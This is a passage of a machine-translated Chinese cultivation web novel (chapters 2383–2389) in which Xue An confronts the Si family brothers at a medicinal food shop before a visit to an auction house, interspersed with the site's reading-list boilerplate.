    Pointing to the wrist can be flesh and bones, life and death against life and death!


    This is where Si Daoyuan''s most famous talent lies.


    Si Guangzhong kowtowed again, "My boy, thank you father for his treatment!"


    Si Daoyuan waved his hand tiredly, UU read , "Well, just now my arrow has passed, and Mingqi is probably ready, so you should hurry up and prepare!"


    "Yes!" Si Guangzhong bowed and retired.


    Si Daoyuan''s complexion gradually recovered, and then he said in a deep voice, "Go and investigate, who are the masters who have recently appeared on that planet!"


    Someone immediately led away behind him.


    After only a few moments, the scene returned in a hurry, half-kneeling to the ground and replied: "The homecomer, I have just investigated it, and there are 13 masters who have appeared on that planet recently. This is a list!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2383 Si Daoyuan), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2384： Shuhang

    When Si Daoyuan received the list, he almost saw one of the names at a glance.


    "Cha Wenliang..." Si Daoyuan''s eyebrows gradually raised, his eyes full of coldness.


    Although he hadn''t witnessed it with his own eyes, he was almost certain that this incident must be inseparable from the ghost doctor.


    But soon he sneered, "Ghost Needle Physician...Haha, what a joke! You have been hiding in the Valley of Fallen God for so long, you must have never imagined that the current Pharmacist Alliance has completely changed its appearance!"


    "However, since you dare to take care of this nosy, then I have a reason to deal with you!"


    After that, Si Daoyuan sneered, turned and retreated into the darkness, disappearing.


    At the same time, in a cross courtyard of Sijia Manor, a black-clothed man held an arrow in his hand, and the expression on his face gradually became weird.


    Ling Jian wrote very clearly, asking him to lead a team to a planet in the bazaar to investigate the building''s affairs.


    The weirdness in his heart also originated from this.


    While he was thinking, he heard a cold snort coming from outside the courtyard, "You must have received your father''s arrow, so if you don''t prepare quickly, what are you waiting for?"


    With this cold snort, Si Guangzhong stepped into the room and stared coldly at the man in black.


    The black-clothed man instantly reduced the surprise in his heart, and said lightly: "When I am ready to leave, it is not your turn to speak!"


    Si Guangzhong was furious in an instant.


    "Si Mingqi, don''t think that if your father let you take over this matter, it means that you can take my credit for yourself. I tell you, it is impossible. I will also accompany this expedition, so you are the most It''s so clear about your attitude!"


    Si Mingqi watched the furious Si Guangzhong until he finished speaking with his teeth and claws, and then coldly said: "Are you finished? If you are finished, please go out. I am ready to leave!"


    Si Guangzhong was furious again and gritted his teeth.


    "Si Mingqi, don''t use this attitude to perfuse me. Let me tell you the truth. As a concubine, you don''t want to raise your head in this company in your entire life. As long as I am in one day, you will always be It is my subordinate, my courtier...!"


    The voice stopped abruptly, and Si Guangzhong, who had wanted to continue to say something, was stunned.


    Because at this moment, Siming Qi was looking at himself with an extremely cold look.


    This look made him involuntarily swallow the rest of the words back.


    "Are you finished?" Simingqi said coldly.


    Si Guangzhong snorted coldly, and then screamed and left.


    After he left, Si Mingqi''s originally calm face suddenly appeared crazy.


    Because his mind is constantly echoing the clamor of Si Guangzhong just now.


    Courtier, subordinates, succumb...


    Although each of these hurt little, but the extremely insulting words gradually distorted Siming''s expression, his hands were clenched tightly, and even his nails were deeply pierced into the flesh, bleeding out.


    "It turns out that in their minds, it''s just such an existence inferior to pigs and dogs!"


    There was humiliation in Si Mingqi''s eyes, but soon, he took a deep breath and closed his eyes.


    Only a moment later, when he opened his eyes again and breathed out slowly, there was no more anger on his face.


    "Call your men, let''s go!"


    Following an order from Siming Qi, who was holding the arrow of the master of the family, Si Jia quickly assembled an elite team and rushed towards the planet where the incident occurred.


    The distance of tens of millions of miles was only half an hour''s journey for them, so they soon came to this planet.


    Si Guangzhong became more honest at this time, at least he stopped provoking Siming Qi any more.


    He closed his eyes and began to feel the breath around him.


    In the blink of an eye, he suddenly raised his eyes and pointed forward.


    "It''s there!"


    With an order, the group immediately flew forward, and in the blink of an eye they came to the medicated food shop.


    When he saw the three big characters of Medicinal Food Shop, Simingqi couldn''t help but change his color slightly.


    "Are you sure that breath is here?"


    "Of course it is!" Si Guangzhong was eagerly gearing his hands, his eyes were already red.


    At this moment, he thought of giving an order and rushed into this restaurant to pull out Xue An who had killed him.


    Unexpectedly, Siming Qi didn''t do that.


    On the contrary, he was extremely calm.


    "Let''s stay calm and not restless, let''s go into the medicated food shop together to see if the person is here, and then make a decision!"


    With that, he took a step and walked inside.


    Si Guangzhong was anxious in every way, but now he can only obediently obey Si Mingqi''s words and walk in behind him.


    There are more than a dozen of them in this group, and all of them are extraordinary, so they immediately attracted everyone''s attention when they entered the medicinal restaurant.


    The shopkeeper in the lobby gave a wink, and immediately a clever Paidang Xiaoer greeted him.


    "Several guest officials, are you planning to use food?"


    "Nonsense, why don''t you come here without eating?" Some of Si Mingqi''s men stared and shouted coldly.


    The smile on the shop''s little Er''s face has not changed at all, "Since you are using rice, please come upstairs!"


    Si Mingqi glanced at Si Guangzhong, who nodded.


    It means that the person is on the second floor.


    So the group followed this famous shop''s second to the second floor.


    After arriving on the second floor, the shopkeeper arranged a large private room for them. UU Reading www.uuk��nshu.com


    After sitting down, Si Guangzhong sneered and raised his hand to face diagonally.


    "It''s there!"


    Si Mingqi nodded, but did not make a difference, but took a sip of tea instead.


    Si Guangzhong finally couldn''t restrain himself, "What are you waiting for?"


    Siming glanced at him, "Wait for the opportunity!"


    "What''s the chance? Isn''t it enough to capture him directly here?" Si Guangzhong said coldly.


    Si Mingqi chuckled, but did not speak.


    This ignorance made Si Guangzhong''s complexion even more ugly.


    He gritted his teeth and endured the dissatisfaction in his heart.


    Soon, the little Er from the shop who led them upstairs walked in with refreshments.


    "A few of you will try our specialty refreshments first!"


    Siming Qi smiled and said thank you, then pretended to inadvertently point to the diagonally opposite Yajian.


    "Excuse me, is there anyone in the private room opposite?"


    The little second in the shop was busy wiping the table, with a bright smile on his face, as if he didn''t take Si Mingqi''s questioning seriously.


    "The guest officer asks what this is for?"


    "Oh, nothing, I just feel that there seems to be a familiar atmosphere in the opposite room, so I thought it was an old friend!" Simingqi smiled.


    The second person in the shop laughed, "The guest officer said and laughed. The private rooms of our medicated food shop are all shielded by a special magic circle. How can you feel the breath inside? You guys, please take it easy. !"


    With that said, this famous shop Xiaoer turned around and got out of the box.


    The invincible chapters of "Invincible, Starting from the Immortal Daddy" will continue to be updated on the novel website, there are no ads in the site, please collect and recommend!


    I like Invincible, and please collect it from Dad Xianzun: () Invincible, the update speed is the fastest from Dad Xianzun.

 Chapter 2385： conflict

    "Invincible, start with Dad Xianzun (!


    "In other words, these people might be spying on me?" Xue An said with a smile.


    The second person from the famous shop solemnly nodded his head, "I think it is very possible, because the guests at this table are very strange, and have been very interested in the private room where you are, the adult!


    "Even after sitting down, I started to knock on the side and asked me without ordering. That''s why I felt that there was something strange in this matter, so I took the opportunity of taking the menu to tell you!"


    Xue An nodded, and then handed over a spiritual crystal, "Excuse me, you bother!"


    But this time, the second person from the famous shop didn��t pick it up. Instead, he said with a solemn expression: "My lord, you gave me enough spirit crystals, and I''m not here to tell you to covet your spirit crystals, so this Lingjing, I don��t want it!"


    Seeing Xiao Er with a solemn expression on his face, Xue An was slightly startled, and even nodded.


    "Well, since that''s the case, thank you so much!"


    This famous shop Xiao Er is gone.


    The people in the box were all contemplative, and Cha Wenliang frowned slightly.


    "Xue An, who do you think this group of people will be?"


    Xue An smiled, "How would I know, but since these people are so interested in me, they must have an inexplicable relationship with Lou''s affairs!"


    "You mean... from the Si family?" Cha Wenliang asked in surprise.


    Xue An shook his head, "The private rooms of this medicinal restaurant are all specially made. With layers of shielding, I don''t know who the other party is, so it was just a guess!"


    Cha Wenliang looked stern, "Whether it is or not, but this group of people is obviously not good, should we leave here now?"


    "Leave?" Xue An smiled and shook his head.


    "Evasion is never the solution to the problem. Since they are here for me, the best way is... to meet them for a while!"


    With that, Xue An stood up and opened the door directly and walked towards the opposite box.


    Cha Wenliang was shocked, and before he could stop him, Xue An had already opened the door of this box.


    Si Mingqi, Si Guangzhong and others inside were talking about something. When he heard the door humming, Si Guangzhong didn''t even lift his head. He thought it was the shopkeeper who came in, so he said loudly.


    "Come on, bring me some more tea!"


    But there was silence in response to him.


    Suddenly, Si Guangzhong seemed to be aware of something, and Huo Ran raised his head, just in time to see Xue An standing at the door and looking at him with a smile.


    Suddenly, Si Guangzhong felt that his neck was cold, and he couldn''t help but step back.


    But he forgot that he was sitting in a chair at the moment, so he fell abruptly.


    Even so embarrassed, he still got up from the ground and looked at Xue An solemnly.


    "You... why are you here?"


    Xue An smiled faintly, "Didn''t you just come to me? So..."


    Xue An went straight to the table, then sat down, "I''ll come over and see you in advance!"


    Si Guangzhong''s expression changed.


    To be honest, don''t look at his aggressiveness on the way when he came, but when he really faced Xue An, he still couldn''t stop the fear in his heart.


    After all, he still remembers that throat sword.


    On the contrary, Si Mingqi looked calm and coldly stared at Xue An, who was sitting opposite.


    Xue An smiled, and then his slender fingers tapped the desktop in front of him intentionally or unintentionally, "Are you the rescuer he brought in?"


    Si Mingqi''s pupils shrank slightly, because he suddenly realized that he could not see through the white-clothed boy in front of him.


    Although he was inferred from his aura that he was just an immortal, no matter how he spied, he couldn''t penetrate the mist that enveloped him.


    This naturally made him feel slightly shocked.


    But what really shocked him was Xue An''s next sentence.


    Xue An looked at Siming Qi with a smile but a smile, and said in a calm tone: "People have to pay the price for his choice. He is the same, and you are the same, right?"


    This sentence at first sounds as if the preamble is not a follow-up, but Simingqi is horrified and horrified, because this is exactly what he said to Tang Longtao at the beginning.


    That''s right!


    He was the man in black who secretly bought Tang Longtao, the man under the eyes and others and intended to ambush Lou Yingshi here!


    This is also the reason why he had a weird look on his face after receiving Si Daoyuan''s command arrow.


    Because he didn''t expect such a change in things unexpectedly, Tang Longtao and others who were lying in ambush in secret also failed.


    Now it seems that the failure of Tang Longtao and others is obviously inseparable from the white-clothed boy in front of him.


    Of course, these thoughts flashed in Si Mingqi''s mind, and then he recovered his calm and stared at Xue An.


    "You are right. People have to pay the price for their choice. So when you interfere with this matter and become an enemy of our family, have you ever thought about what price you will pay?"


    Xue An chuckled, "In fact, this sentence is more suitable for you. After all, you can kill others for one thing. What price should you pay? Have you ever thought about it?"


    Seeing Xue An who was talking eloquently, Si Guangzhong on the side suddenly felt an extremely absurd feeling in his heart.


    My group of people was originally looking for this guy to settle the accounts, but it looks like it is now, but it seems like he is asking the teacher.


    This couldn''t help making him angry.


    At this moment, An Yan, Zha Wenliang and others were really worried about Xue An, and they all followed.


    After seeing Cha Wenliang, Si Guangzhong was shocked, "Ghost Needle Doctor?"


    Then there was a sudden look on his face.


    In his opinion, the reason why Xue An dared to be so "crazy" was obviously backed by Youcha Wenliang.


    And when he saw An Yan who followed him, there was a flash of greed in his eyes.


    This feeling of insight and greed made him successfully forget the fear of Xue An, and then a sneer.


    "Who should I dare to fight against my family? It turns out that I relied on the forces of Luoshengu, but do you really think that with a ghost needle doctor, you can run wild?"


    Speaking of this, UU Read Si Guangzhong shouted at Siming Qi: "The culprit is right in front of you, what are you doing in a daze? Don''t catch him quickly!"


    Simingqi''s face was unhesitating.


    After all, he was the one holding the Patriarch''s arrow on this trip, and Si Guangzhong was just an entourage, and he was not qualified to yell at him.


    But at this time, Si Guangzhong could still take care of that many, and saw that his arrogance became more and more arrogant.


    "Si Mingqi, don��t forget how my father ordered. We are sure to get the things from Lou��s family, and Lou Yingshi was rescued by him, so this guy must be caught and tortured before he can ask about it. The whereabouts of things..."


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2385 Conflict), and you can see it when you open the bookshelf next time!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2386： Mo Changhong

    The sound stopped abruptly, because at this moment, Miss Miss brought the little girl into the field.


    When he saw the little girl''s first glance, Si Guangzhong''s heart was shocked.


    is her!


    She is the thing that the Si family is bound to get!


    At this point, Si Guangzhong couldn''t take care of it anymore, and with his red eyes, he rushed towards the little girl.


    Just grab this little girl and take it back, and everything is done.


    Compared with this, the enmity between him and Xue An is simply not worth mentioning.


    Therefore, he moved extremely fast, but when he was in the middle of the air, he was about to pounce on the little girl''s side, and even a smug smile appeared on the corner of his mouth.


    Thinking and Niannian stepped forward, blocking the little girl behind her.


    "Go away!" Si Guangzhong roared, and at the same time he waved his palm, and the palm wind went straight to thinking and thinking.


    Although his body has just been condensed, the power of this palm is still quite powerful.


    But in the face of this bitter palm wind, the two little girls did not panic at all.


    "Hmph, Niannian, here!" Think about the light flashing in his eyes, and then raised his hand to point to a place.


    "Broken!" Nian-nian shouted out in harmony.


    Speaking and following the law, an invisible force directly penetrated the weakest place in the palm of the wind, and the remaining power did not fade, and went straight to Si Guangzhong.


    puff!


    With a muffled noise, Si Guangzhong''s palm was instantly penetrated through a big, **** hole.


    In the severe pain, Si Guangzhong roared.


    "Little bitch, dare to hurt me, I will tear you up alive today!"


    He is almost furious now.


    It��s fine to be sealed with a sword before, and now even two little girls dare to do something to themselves, the key is that they have successfully injured themselves.


    Where does this put his face?


    If you can''t find a place back, then you won''t have to mess around in the future.


    Holding this thought, his eyes full of resentment toward Xiangxiang and Niannian hit his dead hand.


    An Yan screamed, just about to come forward to rescue.


    But at this moment, the little girl who had been protected by thoughts and thoughts suddenly appeared in front of Si Guangzhong, who was full of grimace, and then raised her pink and tender fist and blasted Si Guangzhong��s head. come.


    This scene came extremely quickly, Si Guangzhong had no time to react, and his fist was already close.


    But in his opinion, this tender little fist that seems to be able to squeeze out water can''t even hurt his own hair, so he rushed forward indifferently.


    But he never expected that the moment his face touched his fist.


    He felt as if he was hitting a high-speed train, and the huge force directly shattered his cheeks and brain bones.


    Boom!


    After a loud noise, Si Guangzhong''s body fell to the ground.


    Looking at him at this time, his face was distorted, and there was a deep fist mark on his forehead, and even brains were pouring out along the wound.


    If it weren''t for his strength really strong, just this one shot would be enough to kill him.


    Even so, Si Guangzhong is very uncomfortable now.


    His head was hit hard, he only felt dizzy, and he couldn''t even see a trace of light in his eyes.


    The pain and humiliation made him almost crazy.


    "You fucking..."


    Before she finished her words, the little girl had already come closer, then raised her small fist and smashed it down again.


    Boom boom boom!


    With a muffled sound, Si Guangzhong''s head was beaten into a pig''s head in the blink of an eye.


    "Si Mingqi, when are you going to see the fuck?" Si Guangzhong struggled and roared.


    Only then did Siming sneer, and when he winked at the people on the left and right, he wanted to move forward.


    But at this time, Xue An also chuckled lightly, and then stood up to block these people.


    "Why? Are so many people going to bully a little girl?" Xue An said lightly.


    Si Guangzhong, who was beaten with blood on his face, almost didn''t vomit a bit of blood when he heard this.


    Who the **** is bullying whom?


    Si Mingqi was not in a hurry.


    nonsense!


    For Si Guangzhong, who has always liked to use his concubine to ridicule himself, he certainly doesn''t have the slightest impression of him.


    It''s a pleasure to watch him get beaten now.


    Moreover, Si Mingqi was confident that as long as the little girl was brought back, the owner of the family would definitely not have any opinion on Si Guangzhong''s beating.


    So he was happy to see Si Guangzhong being tortured there.


    So he hugged his shoulders and smiled, "My friend, I don''t know who you are. I didn''t bother to deal with the grievances between you and my brother before, but you''d better not interfere with the Secretary''s affairs!"


    "Then I just want to intervene?" Xue An said lightly.


    "Then don''t blame me for being impolite!" Siming Qi said lightly.


    Along with this sentence, the men behind him dispersed with a calm expression, and started to move.


    The atmosphere suddenly became tense.


    At this moment, I heard a burst of cold laughter from the top of the stairs outside the door.


    "Yeah, I want to see who would dare to openly do it in my medicated restaurant?"


    Following the voice, there was a sound of footsteps outside the door, and then a woman stepped in.


    This woman has a stunning appearance, wearing a lavender gown, generous with a touch of charm.


    And behind her were a group of silent and speechless thugs, one by one with strong aura, obviously not ordinary people.


    After seeing her, Siming Qi, who was eager to try to do it, was startled, and a trace of fear appeared on his face immediately.


    Because he recognized the person.


    The visitor is the great shopkeeper of this medicated food workshop, Mo Changhong who is known as the beauty snake. UU reading www.uuk��nshu.com


    And this is why he was so cautious after entering the Medicinal Diet.


    After all, this Mo Changhong is notoriously difficult!


    Unexpectedly, she would eventually be alarmed.


    Just as Si Mingqi''s heart was shaking, Mo Chang''s red eyes were flowing, looking at the little girl of Si Guangzhong who was still beating the ground, a look of surprise appeared on her face, but she even giggled.


    "It''s really strange. I didn''t expect this little sister to be very young, but she''s really good at shooting!"


    "Hey, what is this mass of **** rotten flesh on the ground? Human?"


    Hearing Mo Changhong''s words, Si Guangzhong almost died of anger.


    In fact, in just this period of time, he has tried countless methods to try to get rid of this little girl''s fist.


    But only then did he suddenly realize that he couldn''t get rid of this little girl at all.


    Her fists were like a lingering nightmare, surrounding herself.


    At this moment, I heard Xue An lightly say: "Well, it''s fine if you hit it like this, if you drop it down, he will really become a meat sauce!"


    As soon as this sentence came out, the little girl stopped her hand, then silently wiped the blood from her hand, and stepped back.


    Throughout the process, her face maintained an innocent expression.


    This also made the smile of Mo Changhong''s mouth thicker, but when she turned her head to look towards Siming Qi, the smile on her face instantly diminished.


    "Si Mingqi, did you plan to do it in my medicated food shop just now?"


    The invincible chapters of "Invincible, Starting from the Immortal Daddy" will continue to be updated on the novel network, there is no advertisement in the site, please collect and recommend it!


    I like Invincible, and please collect it from Dad of Xianzun.

 Chapter 2387： Do not listen to the king 8 chanting

    "Invincible, start with Dad Xianzun (!


    Facing Mo Changhong''s questioning, Siming Qi looked embarrassed.


    "Mo shopkeeper, listen to me to explain..."


    "If you don''t listen to the eighth chanting, don''t you know that what women hate most is listening to other people''s explanations? So..."


    Mo Changhong pointed to Si Guangzhong on the ground, "While I am still not angry, hurry up and bring this rotten meat out of the medicated food shop!"


    Si Guangzhong began to struggle when he heard the words, and wanted to say something, but Si Mingqi kicked it with a calm expression.


    This kick hit his ribs, and in an instant, Si Guangzhong, who was already covered in bruises, fainted directly.


    Then, Simingqi lowered his eyes and said in a low voice: "Since the treasurer Mo said so, then we will leave now!"


    With that said, he ordered his subordinates to lift up the unconscious Si Guangzhong, and left at an extremely fast speed.


    When they left, a smile reappeared on Mo Changhong''s face, and he first glanced at Xue An with a rather surprised look.


    Xuan even squatted down, looking at Missing and the little girl with bright eyes.


    "Wow, three beautiful little girls, are you two twins?"


    I''ve heard this sentence Miss Missing many times, so I nodded naturally.


    At this time, the light in Mo Chang''s red eyes couldn''t help but brighten, "Wow, are you even nodding in such a step? Is there telepathy between you?"


    Miss: "..."


    Then they shook their heads together, and replied in unison: "No!"


    At this moment, the little girl who was standing by the side of Missing suddenly walked towards Mo Changhong. After waiting in front of her, the little girl stood still and stared straight at Mo Changhong''s wrist. A bracelet.


    Mo Changhong looked at this innocent face and couldn''t help but stretch out his hand to squeeze it.


    The little girl remained unmoved, still staring at Mo Changhong''s bracelet.


    "What? Do you want this?" Mo Changhong asked with a smile.


    The little girl nodded.


    Mo Changhong chuckled, "What a cute little girl, then you call my sister, I will give you this bracelet!"


    Hearing Mo Changhong''s words like this, thinking and Nian Niangang wanted to remind her that she couldn''t speak.


    But at this moment, she saw the little girl open her mouth and shouted in a full tone.


    "sister!"


    Thinking and Nian Nian were dumbfounded.


    "Dad, isn''t she not good at talking?" Think about it.


    Xue An chuckled, "She really couldn''t speak before, but didn''t she learn it!"


    At this moment, Mo Changhong''s bright smiling eyes narrowed, as if he had seen a precious doll, he took off the bracelet from his wrist casually.


    "Good sister, this is for you from my sister, let''s play with it!"


    The little girl took it immediately, but instead of putting it on her hand, she opened her mouth and took a bite.


    With a click.


    This bracelet made of fine gold was immediately bitten into a big piece, and then the little girl swallowed it all into her belly.


    It felt like eating a fried dough stick, without any effort.


    At this moment, Mo Changhong''s eyes gradually widened.


    "Eat...did it?"


    The little girl nodded.


    Mo Changhong whispered in shock, "That''s how big a bracelet will I eat?"


    But soon, the light in her eyes became more and more bright, and the eyes looking at the little girl became more and more excited.


    "Lori on the outside, does the best in the heart exist? In addition, I don��t like to talk... Isn��t this a perfect girl with three nos! Wow, I��m really excited when I think about it!"


    Looking at Mo Changhong who was drooling, even this little girl couldn''t help taking a half step back.


    There is no other reason, but her eyes are terrible.


    It''s as terrible as if you want to swallow yourself!


    And at this moment, in a small alley a few blocks away from the Medicinal Food Shop, Siming Qi stopped abruptly.


    "wake him up!"


    "Yes!"


    Immediately someone stepped forward to feed Si Guangzhong a pill.


    In the blink of an eye, Si Guangzhong woke up and turned around, and at the same time his injuries were quickly healed under the action of the pill.


    After waking up, Si Guangzhong immediately stood up and looked at the surrounding environment first, then suddenly looked back and stared at Si Mingqi.


    "What about people?"


    "Who?" Si Mingqi said lightly.


    "Nonsense, of course it is the little girl from the Lou family and the boy who killed me once!"


    "They are naturally in the medicated food workshop!"


    "What? You let them go?" Si Guangzhong was furious, "Si Mingqi, do you know what you did?"


    It was a loud slap that ended his roar.


    Si Guangzhong who slapped the fan was dumbfounded.


    At the same time, but seeing Siming Qi step forward, he squeezed the collar of his neck.


    "Of course I know what I did, but it is you. If you dare to yell at me, believe it or not, I will let you survive and die?"


    Si Guangzhong was frightened by the hideous look on Si Mingqi''s face.


    This is the first time he has seen Siming Qi break out.


    This made him temporarily forget the slap just now, and at the same time his tone became much softer.


    "But you actually let go of that little girl, do you know her importance?"


    "Of course I know, but no matter how important it is, it''s not as important as your own life. Believe it or not, if I didn''t stop you just now, you are dead now and can''t die anymore!" Siming Qi said coldly.


    Si Guangzhong shook Lingling shiveringly, and his head dazzled by anger finally calmed down.


    "You mean... the woman in the medicinal restaurant is very powerful?"


    Siming Qi shook his head, "No, it''s not that she is great, but the existence behind her is great, in fact..."


    Si Mingqi groaned slightly, and said in a low voice, "In fact, that existence should be the most powerful existence in the entire Pharmacist Alliance!"


    When he said this, his eyes were full of fear.


    Si Guangzhong also remembered some rumors he had heard before, and his face instantly turned pale.


    Siming Qi looked at his nominal younger brother with disdain.


    To be honest, if it wasn''t for Mo Changhong who knew that he wanted to take him away, Si Mingqi really planned to throw him away in the medicated food shop. UU reading


    Because he was very convinced that even if Patriarch Si Daoyuan knew that his younger brother had died in the medicated food shop, he would not dare to say anything.


    It''s a pity that Mo Changhong, who has always been fierce, doesn''t seem to want to kill.


    This also let his wishful thinking go to a halt.


    But Si Mingqi quickly put these thoughts behind him, and then said coldly: "Si Guangzhong, I think you better understand one thing!"


    "I am the main one to perform the task this time. You are just an escort, so you''d better not dictate, otherwise the consequences are really hard to predict!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    For the convenience of reading next time, you can click "Favorites" below to record the reading record of this time (Chapter 2387 Do not listen to the eighth chanting (first update)), and you will see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2388： Gourd girl

    "Invincible, start with Dad Xianzun (!


    Si Guangzhong''s eyes flashed with a hint of unhappiness, as if he was thinking about something.


    Si Mingqi was keenly aware of this, and couldn''t help but sneer: "I know what you are thinking, do you think I am so arrogant and ready to go back and file a complaint with the Patriarch?"


    Si Guangzhong trembled all over, his face turned pale.


    Si Mingqi smiled coldly, and then continued: "I''m telling you, your thoughts are all vain, because do you know what is going on right now?"


    "That little girl is obviously transformed by something from Lou''s family, which means that her importance will increase hundreds of thousands of times. I believe that in order to get her, the owner will pay all the price!"


    "So if there is an accidental death of a prostitute in the process, I guess the Patriarch will not care too much! What do you think? My dear brother!"


    Si Guangzhong shuddered even harder.


    Because he felt a strong murderous intent from Siming Qi.


    "I''m telling you this just to make you understand your current situation. In fact, if you can''t catch that little girl, neither of us will end well, and if we catch it back, we will both be rewarded. , So from now on, you''d better listen to me obediently, and don''t have any defiance, do you understand?"


    "Ming...understood!" Si Guangzhong nodded, and then added two more words with great difficulty.


    "brother!"


    Si Mingqi nodded in satisfaction, "Very well, is this my good brother!"


    With that, he let go of his hand.


    Si Guangzhong took a breath and finally stood still, and then felt a burning pain in his cheeks. It was obvious that the slap Siming Qi slapped him was not lightly.


    But now he can''t take care of this much.


    "Brother... Brother, what should we do next?"


    Siming Qi looked up at the medicated food store floating high a few blocks away, and said in a cold tone: "In the medicated food store, we have nothing to do, but I don''t believe they can stay in the medicated food store forever. Not coming out!"


    "So from now on, we will closely monitor the entire medicated food shop. As soon as they come out, they will follow up immediately without any omissions! Do you understand?"


    "Yes!"


    These subordinates spread out and spread out in the blocks around the medicated food workshop, forming a tight surveillance network.


    In fact, they didn''t wait long, because just an hour later, Mo Changhong led the miss with joy and the little girl walked out of the medicated food shop.


    And behind them were Xue An, An Yan and others.


    Seeing this, the subordinate in charge of monitoring immediately reported the situation to Siming Qi.


    Siming Qi was stunned when he heard it.


    "What? Mo Changhong actually followed?"


    "Yes! And it looks like I want to go shopping together!"


    Siming Qi was shocked.


    He thought that Mo Changhong had prevented himself and others from doing it just to maintain the prestige of the medicated food shop.


    But looking at the current situation, things seem to be far less simple than imagined!


    Could it be that this Mo Changhong or the Medicinal Food Shop already knew about Lou''s family, so he blended in?


    This thought shocked Siming Qi.


    If that''s the case, then this matter can be really tricky.


    "My lord, what are we going to do next?" Seeing Si Mingqi''s silence, he couldn''t help asking.


    Si Mingqi gritted his teeth secretly, the matter is over, thinking that other things are useless, so he said in a deep voice: "Continue to monitor and track, but remember not to act rashly, so as not to be discovered!"


    "understand!"


    The subordinates led away.


    Si Guangzhong looked at the dignified Si Mingqi and couldn''t help but said, "Is it just tracking?"


    "Otherwise? Are you still planning to **** it in front of Mo Changhong?"


    "But will this delay the opportunity? After all, the longer the affairs of this house are delayed, the easier it is to be discovered by other forces!"


    In fact, Si Guangzhong is not all silly. After all, he started this matter first, so he understood the key point.


    Si Mingqi sighed, "Let''s take a step and take a look. If the facts are really what you think, then we have to admit our fate!"


    "Now I only hope that this Mo Changhong is just a whim, and I don''t know what''s inside! Only in this way, we have a chance!"


    "So you must not act rashly now, so as not to startle the snake!"


    As the day of the rally approached, the market became more and more lively.


    Practitioners from all over the world squeezed the place so that the stalls could not be seen at a glance.


    This is paradise for those who love shopping.


    At least Mo Changhong walked inside with interest, and occasionally stopped to buy some gadgets for the little girl and Miss.


    It can be seen that she really likes the three of them.


    An Yan who was following saw this but couldn''t help but lower her voice and asked, "Husband, why should we go shopping with this woman?"


    Xue An shrugged, "I don''t know either!"


    This answer made An Yan unable to complain. After a long time, she murmured: "Why do I think this woman is a little weird!"


    "Of course it''s a little weird. After all, I am Yujie, but I am a lo*ic*n. This is very weird in itself!" Xue An said softly.


    "Huh? What did you say?" An Yan didn''t understand.


    Xue An smiled slightly, "It''s nothing, anyway, there is still some time before the day of the rally. Let''s be idle and idle, so let''s go out and play!"


    At this moment, the little girl who was walking with Mo Changhong suddenly stopped.


    "Huh? What''s wrong with you, Little Calabash?" Mo Changhong asked strangely.


    As for the reason why it was called, it was because Mo Changhong felt that although this little girl could talk, she cherished her words like gold. She often said for a long time that she didn��t even hum a word, just like a dull gourd, so she took it for her. His nickname is Xiao Hulu.


    Regarding this, the little girl was noncommittal, even owed even the slightest expression, so the name was called.


    At this moment, Xiao Hulu blinked a pair of **** eyes and looked straight across the street.


    Mo Changhong followed her gaze and saw a building across the street.


    This building is quite tall and the layout is magnificent. It stands out in this low stall area and is very eye-catching.


    Mo Changhong was taken aback for a moment, Xuan even showed a faint smile.


    Because she knows this building.


    This building is where an auction venue is located, called Tianhe Auction Site.


    This Tianhe auction site is a well-known auction site in the entire Pharmacist Alliance, and its subordinate venues are spread across all planets in the entire Pharmacist Alliance.


    This is where the meeting place of this planet is, and as the shopkeeper of the medicated food workshop on this planet, she naturally knows this place too.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2388 Gourd Girl (Second More)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2389： Tianhe Auction

    "Why? Do you want to go inside and have a look?" Mo Changhong asked softly.


    Xiao Hulu nodded, and then, without waiting for Mo Changhong''s response, he walked towards the Tianhe auction site.


    Mo Changhong smiled and muttered in a low voice.


    "I really have my own opinion!"


    As he said, he followed.


    A group of people crossed the street and arrived in front of the Tianhe auction site.


    There was obviously an auction going on inside, so the gate was closed, and only a few guards were guarding it.


    Seeing everyone coming, these guards just wanted to stop, Mo Changhong threw a famous post at random.


    "Open the door and let us in!"


    As soon as they saw the name on the famous post, these guards couldn''t help taking a breath, and quickly stepped aside.


    "Yes! Mo shopkeeper still has a few distinguished guests, please!"


    With that, someone pushed the door open, and Mo Changhong swaggered into the auction venue.


    And this scene was also seen by the Si family who was following and monitoring, and someone rushed back to report the letter immediately.


    In the blink of an eye, Siming Qi, who was sitting behind, heard the news, and couldn''t help but shook his whole body.


    "What did you say? They entered the Tianhe auction house?"


    "Yes it is!"


    Siming Qi''s face appeared contemplative.


    What does Mo Changhong mean?


    Why did you suddenly take someone to the Tianhe auction site?


    After thinking for a moment, he raised his head suddenly and said with awe-inspiring eyes: "Go! Let''s go to this Tianhe auction site to see what''s going on!"


    "Yes!"


    With the power of the Si family, they also sneaked into the Tianhe auction site without much effort.


    Of course, in order to avoid being discovered, Si Mingqi and Si Guangzhong were all dressed up in disguise, and instead of going to the box, they sat in the hall.


